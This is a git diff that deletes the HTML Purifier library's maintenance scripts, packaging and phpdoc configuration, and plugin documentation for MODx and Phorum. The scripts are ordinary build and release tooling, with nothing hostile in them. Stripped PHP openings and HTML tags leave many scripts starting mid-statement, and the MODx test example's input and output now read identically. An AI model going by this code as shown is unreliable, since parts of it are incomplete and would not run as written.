'~' . str_replace('%s', 'vim: .+', preg_quote($line, '~')) . '~m'; - $contents = preg_replace($regex, '', $contents); - - $contents = rtrim($contents); - - if (strpos($contents, "\r\n") !== false) $nl = "\r\n"; - elseif (strpos($contents, "\n") !== false) $nl = "\n"; - elseif (strpos($contents, "\r") !== false) $nl = "\r"; - else $nl = PHP_EOL; - - if (!$no_nl) $contents .= $nl; - $contents .= $nl . str_replace('%s', $vimline, $line) . $nl; - - file_put_contents($file, $contents); - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/common.php b/classes/security/htmlpurifier/maintenance/common.php deleted file mode 100644 index 888c7daf9..000000000 --- a/classes/security/htmlpurifier/maintenance/common.php +++ /dev/null @@ -1,22 +0,0 @@ -docs/doxygen/info.log 2>docs/doxygen/errors.log -if [ "$?" != 0 ]; then - cat docs/doxygen/errors.log - exit -fi -cd docs -tar czf doxygen.tgz doxygen diff --git a/classes/security/htmlpurifier/maintenance/config-scanner.php b/classes/security/htmlpurifier/maintenance/config-scanner.php deleted file mode 100644 index 2b4efa3f8..000000000 --- a/classes/security/htmlpurifier/maintenance/config-scanner.php +++ /dev/null @@ -1,153 +0,0 @@ -#!/usr/bin/php -globr('.', '*.php'); -$files = array(); -foreach ($raw_files as $file) { - $file = substr($file, 2); // rm leading './' - if (strncmp('standalone/', $file, 11) === 0) continue; // rm generated files - if (substr_count($file, '.') > 1) continue; // rm meta files - $files[] = $file; -} - -/** - * Moves the $i cursor to the next non-whitespace token - */ -function consumeWhitespace($tokens, &$i) { - do {$i++;} while (is_array($tokens[$i]) && $tokens[$i][0] === T_WHITESPACE); -} - -/** - * Tests whether or not a token is a particular type. There are three run-cases: - * - ($token, $expect_token): tests if the token is $expect_token type; - * - ($token, $expect_value): tests if the token is the string $expect_value; - * - ($token, $expect_token, $expect_value): tests if token is $expect_token type, and - * its string representation is $expect_value - */ -function testToken($token, $value_or_token, $value = null) { - if (is_null($value)) { - if (is_int($value_or_token)) return is_array($token) && $token[0] === $value_or_token; - else return $token === $value_or_token; - } else { - return is_array($token) && $token[0] === $value_or_token && $token[1] === $value; - } -} - -$counter = 0; -$full_counter = 0; -$tracker = array(); - -foreach ($files as $file) { - $tokens = token_get_all(file_get_contents($file)); - $file = str_replace('\\', '/', $file); - for ($i = 0, $c = count($tokens); $i < $c; $i++) { - $ok = false; - // Match $config - if (!$ok && testToken($tokens[$i], T_VARIABLE, '$config')) $ok = true; - // Match $this->config - while (!$ok && testToken($tokens[$i], T_VARIABLE, '$this')) { - consumeWhitespace($tokens, $i); - if (!testToken($tokens[$i], T_OBJECT_OPERATOR)) break; - consumeWhitespace($tokens, $i); - if (testToken($tokens[$i], T_STRING, 'config')) $ok = true; - break; - } - if (!$ok) continue; - - $ok = false; - for($i++; $i < $c; $i++) { - if ($tokens[$i] === ',' || $tokens[$i] === ')' || $tokens[$i] === ';') { - break; - } - if (is_string($tokens[$i])) continue; - if ($tokens[$i][0] === T_OBJECT_OPERATOR) { - $ok = true; - break; - } - } - if (!$ok) continue; - - $line = $tokens[$i][2]; - - consumeWhitespace($tokens, $i); - if (!testToken($tokens[$i], T_STRING, 'get')) continue; - - consumeWhitespace($tokens, $i); - if (!testToken($tokens[$i], '(')) continue; - - $full_counter++; - - $matched = false; - do { - - // What we currently don't match are batch retrievals, and - // wildcard retrievals. This data might be useful in the future, - // which is why we have a do {} while loop that doesn't actually - // do anything. - - consumeWhitespace($tokens, $i); - if (!testToken($tokens[$i], T_CONSTANT_ENCAPSED_STRING)) continue; - $id = substr($tokens[$i][1], 1, -1); - - $counter++; - $matched = true; - - if (!isset($tracker[$id])) $tracker[$id] = array(); - if (!isset($tracker[$id][$file])) $tracker[$id][$file] = array(); - $tracker[$id][$file][] = $line; - - } while (0); - - //echo "$file:$line uses $namespace.$directive\n"; - } -} - -echo "\n$counter/$full_counter instances of \$config or \$this->config found in source code.\n"; - -echo "Generating XML... "; - -$xw = new XMLWriter(); -$xw->openURI('../configdoc/usage.xml'); -$xw->setIndent(true); -$xw->startDocument('1.0', 'UTF-8'); -$xw->startElement('usage'); -foreach ($tracker as $id => $files) { - $xw->startElement('directive'); - $xw->writeAttribute('id', $id); - foreach ($files as $file => $lines) { - $xw->startElement('file'); - $xw->writeAttribute('name', $file); - foreach ($lines as $line) { - $xw->writeElement('line', $line); - } - $xw->endElement(); - } - $xw->endElement(); -} -$xw->endElement(); -$xw->flush(); - -echo "done!\n"; - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/flush-definition-cache.php b/classes/security/htmlpurifier/maintenance/flush-definition-cache.php deleted file mode 100755 index 138badb65..000000000 --- a/classes/security/htmlpurifier/maintenance/flush-definition-cache.php +++ /dev/null @@ -1,42 +0,0 @@ -#!/usr/bin/php -flush($config); -} - -echo "Cache flushed successfully.\n"; - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/flush.php b/classes/security/htmlpurifier/maintenance/flush.php deleted file mode 100644 index 6dada93f4..000000000 --- a/classes/security/htmlpurifier/maintenance/flush.php +++ /dev/null @@ -1,29 +0,0 @@ -#!/usr/bin/php -/'; - -foreach ( $entity_files as $file ) { - $contents = file_get_contents($entity_dir . $file); - $matches = array(); - preg_match_all($regexp, $contents, $matches, PREG_SET_ORDER); - foreach ($matches as $match) { - $entity_table[$match[1]] = unichr($match[2]); - } -} - -$output = serialize($entity_table); - -$fh = fopen($output_file, 'w'); -fwrite($fh, $output); -fclose($fh); - -echo "Completed successfully."; - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/generate-includes.php b/classes/security/htmlpurifier/maintenance/generate-includes.php deleted file mode 100644 index 498f49b91..000000000 --- a/classes/security/htmlpurifier/maintenance/generate-includes.php +++ /dev/null @@ -1,190 +0,0 @@ -#!/usr/bin/php -globr('.', '*.php'); -if (!$raw_files) throw new Exception('Did not find any PHP source files'); -$files = array(); -foreach ($raw_files as $file) { - $file = substr($file, 2); // rm leading './' - if (strncmp('standalone/', $file, 11) === 0) continue; // rm generated files - if (substr_count($file, '.') > 1) continue; // rm meta files - $ok = true; - foreach ($exclude_dirs as $dir) { - if (strncmp($dir, $file, strlen($dir)) === 0) { - $ok = false; - break; - } - } - if (!$ok) continue; // rm excluded directories - if (in_array($file, $exclude_files)) continue; // rm excluded files - $files[] = $file; -} -echo "done!\n"; - -// Reorder list so that dependencies are included first: - -/** - * Returns a lookup array of dependencies for a file. - * - * @note This function expects that format $name extends $parent on one line - * - * @param $file - * File to check dependencies of. - * @return - * Lookup array of files the file is dependent on, sorted accordingly. - */ -function get_dependency_lookup($file) { - static $cache = array(); - if (isset($cache[$file])) return $cache[$file]; - if (!file_exists($file)) { - echo "File doesn't exist: $file\n"; - return array(); - } - $fh = fopen($file, 'r'); - $deps = array(); - while (!feof($fh)) { - $line = fgets($fh); - if (strncmp('class', $line, 5) === 0) { - // The implementation here is fragile and will break if we attempt - // to use interfaces. Beware! - $arr = explode(' extends ', trim($line, ' {'."\n\r"), 2); - if (count($arr) < 2) break; - $parent = $arr[1]; - $dep_file = HTMLPurifier_Bootstrap::getPath($parent); - if (!$dep_file) break; - $deps[$dep_file] = true; - break; - } - } - fclose($fh); - foreach (array_keys($deps) as $file) { - // Extra dependencies must come *before* base dependencies - $deps = get_dependency_lookup($file) + $deps; - } - $cache[$file] = $deps; - return $deps; -} - -/** - * Sorts files based on dependencies. This function is lazy and will not - * group files with dependencies together; it will merely ensure that a file - * is never included before its dependencies are. - * - * @param $files - * Files array to sort. - * @return - * Sorted array ($files is not modified by reference!) - */ -function dep_sort($files) { - $ret = array(); - $cache = array(); - foreach ($files as $file) { - if (isset($cache[$file])) continue; - $deps = get_dependency_lookup($file); - foreach (array_keys($deps) as $dep) { - if (!isset($cache[$dep])) { - $ret[] = $dep; - $cache[$dep] = true; - } - } - $cache[$file] = true; - $ret[] = $file; - } - return $ret; -} - -$files = dep_sort($files); - -// Build the actual include stub: - -$version = trim(file_get_contents('../VERSION')); - -// stub -$php = " PH5P.patch"); -unlink($newt); - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/generate-schema-cache.php b/classes/security/htmlpurifier/maintenance/generate-schema-cache.php deleted file mode 100644 index 339ff12da..000000000 --- a/classes/security/htmlpurifier/maintenance/generate-schema-cache.php +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/php -buildDir($interchange); - -$loader = dirname(__FILE__) . '/../config-schema.php'; -if (file_exists($loader)) include $loader; -foreach ($_SERVER['argv'] as $i => $dir) { - if ($i === 0) continue; - $builder->buildDir($interchange, realpath($dir)); -} - -$interchange->validate(); - -$schema_builder = new HTMLPurifier_ConfigSchema_Builder_ConfigSchema(); -$schema = $schema_builder->build($interchange); - -echo "Saving schema... "; -file_put_contents($target, serialize($schema)); -echo "done!\n"; - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/generate-standalone.php b/classes/security/htmlpurifier/maintenance/generate-standalone.php deleted file mode 100755 index e67f07124..000000000 --- a/classes/security/htmlpurifier/maintenance/generate-standalone.php +++ /dev/null @@ -1,151 +0,0 @@ -#!/usr/bin/php -copyr($dir, 'standalone/' . $dir); -} - -/** - * Copies the contents of a file to the standalone directory - * @param string $file File to copy - */ -function make_file_standalone($file) { - global $FS; - $FS->mkdirr('standalone/' . dirname($file)); - copy_and_remove_includes($file, 'standalone/' . $file); - return true; -} - -/** - * Copies a file to another location recursively, if it is a PHP file - * remove includes - * @param string $file Original file - * @param string $sfile New location of file - */ -function copy_and_remove_includes($file, $sfile) { - $contents = file_get_contents($file); - if (strrchr($file, '.') === '.php') $contents = replace_includes($contents); - return file_put_contents($sfile, $contents); -} - -/** - * @param $matches preg_replace_callback matches array, where index 1 - * is the filename to include - */ -function replace_includes_callback($matches) { - $file = $matches[1]; - $preserve = array( - // PEAR (external) - 'XML/HTMLSax3.php' => 1 - ); - if (isset($preserve[$file])) { - return $matches[0]; - } - if (isset($GLOBALS['loaded'][$file])) return ''; - $GLOBALS['loaded'][$file] = true; - return replace_includes(remove_php_tags(file_get_contents($file))); -} - -echo 'Generating includes file... '; -shell_exec('php generate-includes.php'); -echo "done!\n"; - -chdir(dirname(__FILE__) . '/../library/'); - -echo 'Creating full file...'; -$contents = replace_includes(file_get_contents('HTMLPurifier.includes.php')); -$contents = str_replace( - // Note that bootstrap is now inside the standalone file - "define('HTMLPURIFIER_PREFIX', realpath(dirname(__FILE__) . '/..'));", - "define('HTMLPURIFIER_PREFIX', dirname(__FILE__) . '/standalone'); - set_include_path(HTMLPURIFIER_PREFIX . PATH_SEPARATOR . get_include_path());", - $contents -); -file_put_contents('HTMLPurifier.standalone.php', $contents); -echo ' done!' . PHP_EOL; - -echo 'Creating standalone directory...'; -$FS->rmdirr('standalone'); // ensure a clean copy - -// data files -$FS->mkdirr('standalone/HTMLPurifier/DefinitionCache/Serializer'); -make_file_standalone('HTMLPurifier/EntityLookup/entities.ser'); -make_file_standalone('HTMLPurifier/ConfigSchema/schema.ser'); - -// non-standard inclusion setup -make_dir_standalone('HTMLPurifier/ConfigSchema'); -make_dir_standalone('HTMLPurifier/Language'); -make_dir_standalone('HTMLPurifier/Filter'); -make_dir_standalone('HTMLPurifier/Printer'); -make_file_standalone('HTMLPurifier/Printer.php'); -make_file_standalone('HTMLPurifier/Lexer/PH5P.php'); - -echo ' done!' . PHP_EOL; - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/merge-library.php b/classes/security/htmlpurifier/maintenance/merge-library.php deleted file mode 100755 index de2eecdc0..000000000 --- a/classes/security/htmlpurifier/maintenance/merge-library.php +++ /dev/null @@ -1,11 +0,0 @@ -#!/usr/bin/php -open('w'); - $multiline = false; - foreach ($hash as $key => $value) { - $multiline = $multiline || (strpos($value, "\n") !== false); - if ($multiline) { - $file->put("--$key--" . PHP_EOL); - $file->put(str_replace("\n", PHP_EOL, $value) . PHP_EOL); - } else { - if ($key == 'ID') { - $file->put("$value" . PHP_EOL); - } else { - $file->put("$key: $value" . PHP_EOL); - } - } - } - $file->close(); -} - -$schema = HTMLPurifier_ConfigSchema::instance(); -$adapter = new HTMLPurifier_ConfigSchema_StringHashReverseAdapter($schema); - -foreach ($schema->info as $ns => $ns_array) { - saveHash($adapter->get($ns)); - foreach ($ns_array as $dir => $x) { - saveHash($adapter->get($ns, $dir)); - } -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/old-remove-require-once.php b/classes/security/htmlpurifier/maintenance/old-remove-require-once.php deleted file mode 100644 index f47c7d0f1..000000000 --- a/classes/security/htmlpurifier/maintenance/old-remove-require-once.php +++ /dev/null @@ -1,32 +0,0 @@ -#!/usr/bin/php -globr('.', '*.php'); -foreach ($files as $file) { - if (substr_count(basename($file), '.') > 1) continue; - $old_code = file_get_contents($file); - $new_code = preg_replace("#^require_once .+[\n\r]*#m", '', $old_code); - if ($old_code !== $new_code) { - file_put_contents($file, $new_code); - } -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/old-remove-schema-def.php b/classes/security/htmlpurifier/maintenance/old-remove-schema-def.php deleted file mode 100644 index 5ae031973..000000000 --- a/classes/security/htmlpurifier/maintenance/old-remove-schema-def.php +++ /dev/null @@ -1,32 +0,0 @@ -#!/usr/bin/php -globr('.', '*.php'); -foreach ($files as $file) { - if (substr_count(basename($file), '.') > 1) continue; - $old_code = file_get_contents($file); - $new_code = preg_replace("#^HTMLPurifier_ConfigSchema::.+?\);[\n\r]*#ms", '', $old_code); - if ($old_code !== $new_code) { - file_put_contents($file, $new_code); - } - if (preg_match('#^\s+HTMLPurifier_ConfigSchema::#m', $new_code)) { - echo "Indented ConfigSchema call in $file\n"; - } -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/regenerate-docs.sh b/classes/security/htmlpurifier/maintenance/regenerate-docs.sh deleted file mode 100755 index 6f4d720ff..000000000 --- a/classes/security/htmlpurifier/maintenance/regenerate-docs.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash -e -./compile-doxygen.sh -cd ../docs -scp doxygen.tgz htmlpurifier.org:/home/ezyang/htmlpurifier.org -ssh htmlpurifier.org "cd /home/ezyang/htmlpurifier.org && ./reload-docs.sh" diff --git a/classes/security/htmlpurifier/maintenance/remove-trailing-whitespace.php b/classes/security/htmlpurifier/maintenance/remove-trailing-whitespace.php deleted file mode 100644 index 857870546..000000000 --- a/classes/security/htmlpurifier/maintenance/remove-trailing-whitespace.php +++ /dev/null @@ -1,37 +0,0 @@ -#!/usr/bin/php -globr('.', '{,.}*', GLOB_BRACE); -foreach ($files as $file) { - if ( - !is_file($file) || - prefix_is('./.git', $file) || - prefix_is('./docs/doxygen', $file) || - postfix_is('.ser', $file) || - postfix_is('.tgz', $file) || - postfix_is('.patch', $file) || - postfix_is('.dtd', $file) || - postfix_is('.ent', $file) || - $file == './library/HTMLPurifier/Lexer/PH5P.php' || - $file == './maintenance/PH5P.php' - ) continue; - $contents = file_get_contents($file); - $result = preg_replace('/^(.*?)[ \t]+(\r?)$/m', '\1\2', $contents, -1, $count); - if (!$count) continue; - echo "$file\n"; - file_put_contents($file, $result); -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/rename-config.php b/classes/security/htmlpurifier/maintenance/rename-config.php deleted file mode 100644 index 6e59e2a79..000000000 --- a/classes/security/htmlpurifier/maintenance/rename-config.php +++ /dev/null @@ -1,84 +0,0 @@ -#!/usr/bin/php -buildFile($interchange, $file); -$contents = file_get_contents($file); - -if (strpos($contents, "\r\n") !== false) { - $nl = "\r\n"; -} elseif (strpos($contents, "\r") !== false) { - $nl = "\r"; -} else { - $nl = "\n"; -} - -// replace name with new name -$contents = str_replace($old, $new, $contents); - -if ($interchange->directives[$old]->aliases) { - $pos_alias = strpos($contents, 'ALIASES:'); - $pos_ins = strpos($contents, $nl, $pos_alias); - if ($pos_ins === false) $pos_ins = strlen($contents); - $contents = - substr($contents, 0, $pos_ins) . ", $old" . substr($contents, $pos_ins); - file_put_contents($file, $contents); -} else { - $lines = explode($nl, $contents); - $insert = false; - foreach ($lines as $n => $line) { - if (strncmp($line, '--', 2) === 0) { - $insert = $n; - break; - } - } - if (!$insert) { - $lines[] = "ALIASES: $old"; - } else { - array_splice($lines, $insert, 0, "ALIASES: $old"); - } - file_put_contents($file, implode($nl, $lines)); -} - -rename("$old.txt", "$new.txt") || exit(1); diff --git a/classes/security/htmlpurifier/maintenance/update-config.php b/classes/security/htmlpurifier/maintenance/update-config.php deleted file mode 100644 index 2d8a7a9c1..000000000 --- a/classes/security/htmlpurifier/maintenance/update-config.php +++ /dev/null @@ -1,34 +0,0 @@ -#!/usr/bin/php -set and $config->get to the new - * format, as described by docs/dev-config-bcbreaks.txt - */ - -$FS = new FSTools(); -chdir(dirname(__FILE__) . '/..'); -$raw_files = $FS->globr('.', '*.php'); -foreach ($raw_files as $file) { - $file = substr($file, 2); // rm leading './' - if (strpos($file, 'library/standalone/') === 0) continue; - if (strpos($file, 'maintenance/update-config.php') === 0) continue; - if (strpos($file, 'test-settings.php') === 0) continue; - if (substr_count($file, '.') > 1) continue; // rm meta files - // process the file - $contents = file_get_contents($file); - $contents = preg_replace( - "#config->(set|get)\('(.+?)', '(.+?)'#", - "config->\\1('\\2.\\3'", - $contents - ); - if ($contents === '') continue; - file_put_contents($file, $contents); -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/update-freshmeat.php b/classes/security/htmlpurifier/maintenance/update-freshmeat.php deleted file mode 100644 index 5295c0430..000000000 --- a/classes/security/htmlpurifier/maintenance/update-freshmeat.php +++ /dev/null @@ -1,156 +0,0 @@ -#!/usr/bin/php - 'utf-8', - ); - - /** - * This array defines shortcut method signatures for dealing with simple - * XML RPC methods. More complex ones (publish_release) should use the named parameter - * syntax. - */ - public $signatures = array( - 'login' => array('username', 'password'), - 'fetch_branch_list' => array('project_name'), - 'fetch_release' => array('project_name', 'branch_name', 'version'), - 'withdraw_release' => array('project_name', 'branch_name', 'version'), - ); - - protected $sid = null; - - /** - * @param $username Username to login with - * @param $password Password to login with - */ - public function __construct($username = null, $password = null) { - if ($username && $password) { - $this->login($username, $password); - } - } - - /** - * Performs a raw XML RPC call to self::URL - */ - protected function call($method, $params) { - $request = xmlrpc_encode_request($method, $params, $this->encodeOptions); - $ch = curl_init(); - curl_setopt($ch, CURLOPT_URL, self::URL); - curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); - curl_setopt($ch, CURLOPT_TIMEOUT, 1); - curl_setopt($ch, CURLOPT_HTTPHEADER, array( - 'Content-type: text/xml', - 'Content-length: ' . strlen($request) - )); - curl_setopt($ch, CURLOPT_POSTFIELDS, $request); - $data = curl_exec($ch); - if ($errno = curl_errno($ch)) { - throw new Exception("Curl error [$errno]: " . curl_error($ch)); - } else { - curl_close($ch); - return xmlrpc_decode($data); - } - } - - /** - * Performs an XML RPC call to Freshmeat. - * @param $name Name of method to call, can be methodName or method_name - * @param $args Arguments of call, in form array('key1', 'val1', 'key2' ...) - */ - public function __call($name, $args) { - $method = $this->camelToUnderscore($name); - $params = array(); - if ($this->sid) $params['SID'] = $this->sid; - if (isset($this->signatures[$method])) { - for ($i = 0, $c = count($this->signatures[$method]); $i < $c; $i++) { - $params[$this->signatures[$method][$i]] = $args[$i]; - } - } else { - for ($i = 0, $c = count($args); $i + 1 < $c; $i += 2) { - $params[$args[$i]] = $args[$i + 1]; - } - } - $result = $this->call($method, $params); - switch ($method) { - case 'login': - $this->sid = $result['SID']; - break; - case 'logout': - $this->sid = null; - break; - } - if ($this->chatty) print_r($result); - return $result; - } - - /** - * Munge methodName to method_name - */ - private function camelToUnderscore($name) { - $method = ''; - for ($i = 0, $c = strlen($name); $i < $c; $i++) { - $v = $name[$i]; - if (ctype_lower($v)) $method .= $v; - else $method .= '_' . strtolower($v); - } - return $method; - } - - /** - * Automatically logout at end of scope - */ - public function __destruct() { - if ($this->sid) $this->logout(); - } - -} - -$rpc = new XmlRpc_Freshmeat($argv[1], $argv[2]); -$rpc->chatty = true; - -$project = 'htmlpurifier'; -$branch = 'Default'; -$version = file_get_contents('../VERSION'); - -$result = $rpc->fetchRelease($project, $branch, $version); -if (!isset($result['faultCode'])) { - echo "Freshmeat release already exists.\n"; - exit(0); -} - -$changes = strtr(file_get_contents('../WHATSNEW'), array("\r" => '', "\n" => ' ')); -$focus = (int) trim(file_get_contents('../FOCUS')); - -if (strlen($changes) > 600) { - echo "WHATSNEW entry is too long.\n"; - exit(1); -} - -$rpc->publishRelease( - 'project_name', $project, - 'branch_name', $branch, - 'version', $version, - 'changes', $changes, - 'release_focus', $focus, - 'url_tgz', "http://htmlpurifier.org/releases/htmlpurifier-$version.tar.gz", - 'url_zip', "http://htmlpurifier.org/releases/htmlpurifier-$version.zip", - 'url_changelog', "http://htmlpurifier.org/svnroot/htmlpurifier/tags/$version/NEWS" -); - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/package.php b/classes/security/htmlpurifier/package.php deleted file mode 100644 index bfef93622..000000000 --- a/classes/security/htmlpurifier/package.php +++ /dev/null @@ -1,61 +0,0 @@ -setOptions( - array( - 'baseinstalldir' => '/', - 'packagefile' => 'package.xml', - 'packagedirectory' => realpath(dirname(__FILE__) . '/library'), - 'filelistgenerator' => 'file', - 'include' => array('*'), - 'dir_roles' => array('/' => 'php'), // hack to put *.ser files in the right place - 'ignore' => array( - 'HTMLPurifier.standalone.php', - 'HTMLPurifier.path.php', - '*.tar.gz', - '*.tgz', - 'standalone/' - ), - ) -); - -$pkg->setPackage('HTMLPurifier'); -$pkg->setLicense('LGPL', 'http://www.gnu.org/licenses/lgpl.html'); -$pkg->setSummary('Standards-compliant HTML filter'); -$pkg->setDescription( - 'HTML Purifier is an HTML filter that will remove all malicious code - (better known as XSS) with a thoroughly audited, secure yet permissive - whitelist and will also make sure your documents are standards - compliant.' -); - -$pkg->addMaintainer('lead', 'ezyang', 'Edward Z. Yang', 'admin@htmlpurifier.org', 'yes'); - -$version = trim(file_get_contents('VERSION')); -$api_version = substr($version, 0, strrpos($version, '.')); - -$pkg->setChannel('htmlpurifier.org'); -$pkg->setAPIVersion($api_version); -$pkg->setAPIStability('stable'); -$pkg->setReleaseVersion($version); -$pkg->setReleaseStability('stable'); - -$pkg->addRelease(); - -$pkg->setNotes(file_get_contents('WHATSNEW')); -$pkg->setPackageType('php'); - -$pkg->setPhpDep('5.0.0'); -$pkg->setPearinstallerDep('1.4.3'); - -$pkg->generateContents(); - -$pkg->writePackageFile(); - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/phpdoc.ini b/classes/security/htmlpurifier/phpdoc.ini deleted file mode 100644 index c4c372353..000000000 --- a/classes/security/htmlpurifier/phpdoc.ini +++ /dev/null @@ -1,102 +0,0 @@ -;; phpDocumentor parse configuration file -;; -;; This file is designed to cut down on repetitive typing on the command-line or web interface -;; You can copy this file to create a number of configuration files that can be used with the -;; command-line switch -c, as in phpdoc -c default.ini or phpdoc -c myini.ini. The web -;; interface will automatically generate a list of .ini files that can be used. -;; -;; default.ini is used to generate the online manual at http://www.phpdoc.org/docs -;; -;; ALL .ini files must be in the user subdirectory of phpDocumentor with an extension of .ini -;; -;; Copyright 2002, Greg Beaver -;; -;; WARNING: do not change the name of any command-line parameters, phpDocumentor will ignore them - -[Parse Data] -;; title of all the documentation -;; legal values: any string -title = HTML Purifier API Documentation - -;; parse files that start with a . like .bash_profile -;; legal values: true, false -hidden = false - -;; show elements marked @access private in documentation by setting this to on -;; legal values: on, off -parseprivate = off - -;; parse with javadoc-like description (first sentence is always the short description) -;; legal values: on, off -javadocdesc = on - -;; add any custom @tags separated by commas here -;; legal values: any legal tagname separated by commas. -;customtags = mytag1,mytag2 - -;; This is only used by the XML:DocBook/peardoc2 converter -defaultcategoryname = Documentation - -;; what is the main package? -;; legal values: alphanumeric string plus - and _ -defaultpackagename = HTMLPurifier - -;; output any parsing information? set to on for cron jobs -;; legal values: on -;quiet = on - -;; parse a PEAR-style repository. Do not turn this on if your project does -;; not have a parent directory named "pear" -;; legal values: on/off -;pear = on - -;; where should the documentation be written? -;; legal values: a legal path -target = docs/phpdoc - -;; Which files should be parsed out as special documentation files, such as README, -;; INSTALL and CHANGELOG? This overrides the default files found in -;; phpDocumentor.ini (this file is not a user .ini file, but the global file) -readmeinstallchangelog = README, INSTALL, NEWS, WYSIWYG, SLOW, LICENSE, CREDITS - -;; limit output to the specified packages, even if others are parsed -;; legal values: package names separated by commas -;packageoutput = package1,package2 - -;; comma-separated list of files to parse -;; legal values: paths separated by commas -;filename = /path/to/file1,/path/to/file2,fileincurrentdirectory - -;; comma-separated list of directories to parse -;; legal values: directory paths separated by commas -;directory = /path1,/path2,.,..,subdirectory -;directory = /home/jeichorn/cvs/pear -directory = . - -;; template base directory (the equivalent directory of /phpDocumentor) -;templatebase = /path/to/my/templates - -;; directory to find any example files in through @example and {@example} tags -;examplesdir = /path/to/my/templates - -;; comma-separated list of files, directories or wildcards ? and * (any wildcard) to ignore -;; legal values: any wildcard strings separated by commas -;ignore = /path/to/ignore*,*list.php,myfile.php,subdirectory/ -ignore = *tests*,*benchmarks*,*docs*,*test-settings.php,*configdoc*,*maintenance*,*smoketests*,*standalone*,*.svn*,*conf* - -sourcecode = on - -;; comma-separated list of Converters to use in outputformat:Convertername:templatedirectory format -;; legal values: HTML:frames:default,HTML:frames:l0l33t,HTML:frames:phpdoc.de,HTML:frames:phphtmllib, -;; HTML:frames:earthli, -;; HTML:frames:DOM/default,HTML:frames:DOM/l0l33t,HTML:frames:DOM/phpdoc.de, -;; HTML:frames:DOM/phphtmllib,HTML:frames:DOM/earthli -;; HTML:Smarty:default,HTML:Smarty:PHP,HTML:Smarty:HandS -;; PDF:default:default,CHM:default:default,XML:DocBook/peardoc2:default -output=HTML:frames:default - -;; turn this option on if you want highlighted source code for every file -;; legal values: on/off -sourcecode = on - -; vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/modx.txt b/classes/security/htmlpurifier/plugins/modx.txt deleted file mode 100644 index 0763821b5..000000000 --- a/classes/security/htmlpurifier/plugins/modx.txt +++ /dev/null @@ -1,112 +0,0 @@ - -MODx Plugin - -MODx is an open source PHP application framework. -I first came across them in my referrer logs when tillda asked if anyone -could implement an HTML Purifier plugin. This forum thread - eventually resulted -in the fruition of this plugin that davidm says, "is on top of my favorite -list." HTML Purifier goes great with WYSIWYG editors! - - - -1. Credits - -PaulGregory wrote the overall structure of the code. I added the -slashes hack. - - - -2. Install - -First, you need to place HTML Purifier library somewhere. The code here -assumes that you've placed in MODx's assets/plugins/htmlpurifier (no version -number). - -Log into the manager, and navigate: - -Resources > Manage Resources > Plugins tab > New Plugin - -Type in a name (probably HTML Purifier), and copy paste this code into the -textarea: - --------------------------------------------------------------------------------- -$e = &$modx->Event; -if ($e->name == 'OnBeforeDocFormSave') { - global $content; - - include_once '../assets/plugins/htmlpurifier/library/HTMLPurifier.auto.php'; - $purifier = new HTMLPurifier(); - - static $magic_quotes = null; - if ($magic_quotes === null) { - // this is an ugly hack because this hook hasn't - // had the backslashes removed yet when magic_quotes_gpc is on, - // but HTMLPurifier must not have the quotes slashed. - $magic_quotes = get_magic_quotes_gpc(); - } - - if ($magic_quotes) $content = stripslashes($content); - $content = $purifier->purify($content); - if ($magic_quotes) $content = addslashes($content); -} --------------------------------------------------------------------------------- - -Then navigate to the System Events tab and check "OnBeforeDocFormSave". -Save the plugin. HTML Purifier now is integrated! - - - -3. Making sure it works - -You can test HTML Purifier by deliberately putting in crappy HTML and seeing -whether or not it gets fixed. A better way is to put in something like this: - -

    Il est bon

    - -...and seeing whether or not the content comes out as: - -

    Il est bon

    - -(lang to xml:lang synchronization is one of the many features HTML Purifier -has). - - - -4. Caveat Emptor - -This code does not intercept save requests from the QuickEdit plugin, this may -be added in a later version. It also modifies things on save, so there's a -slight chance that HTML Purifier may make a boo-boo and accidently mess things -up (the original version is not saved). - -Finally, make sure that MODx is using UTF-8. If you are using, say, a French -localisation, you may be using Latin-1, if that's the case, configure -HTML Purifier properly like this: - -$config = HTMLPurifier_Config::createDefault(); -$config->set('Core', 'Encoding', 'ISO-8859-1'); // or whatever encoding -$purifier = new HTMLPurifier($config); - - - -5. Known Bugs - -'rn' characters sometimes mysteriously appear after purification. We are -currently investigating this issue. See: - - - -6. See Also - -A modified version of Jot 1.1.3 is available, which integrates with HTML -Purifier. You can check it out here: - - -X. Changelog - -2008-06-16 -- Updated code to work with 3.1.0 and later -- Add Known Bugs and See Also section - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/plugins/phorum/.gitignore b/classes/security/htmlpurifier/plugins/phorum/.gitignore deleted file mode 100644 index 8325e0902..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -migrate.php -htmlpurifier/* diff --git a/classes/security/htmlpurifier/plugins/phorum/Changelog b/classes/security/htmlpurifier/plugins/phorum/Changelog deleted file mode 100644 index 9f939e54a..000000000 --- a/classes/security/htmlpurifier/plugins/phorum/Changelog +++ /dev/null @@ -1,27 +0,0 @@ -Changelog HTMLPurifier : Phorum Mod -||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| - -= KEY ==================== - # Breaks back-compat - ! Feature - - Bugfix - + Sub-comment - . Internal change -========================== - -Version 4.0.0 for Phorum 5.2, released July 9, 2009 -# Works only with HTML Purifier 4.0.0 -! Better installation documentation -- Fixed double encoded quotes -- Fixed fatal error when migrate.php is blank - -Version 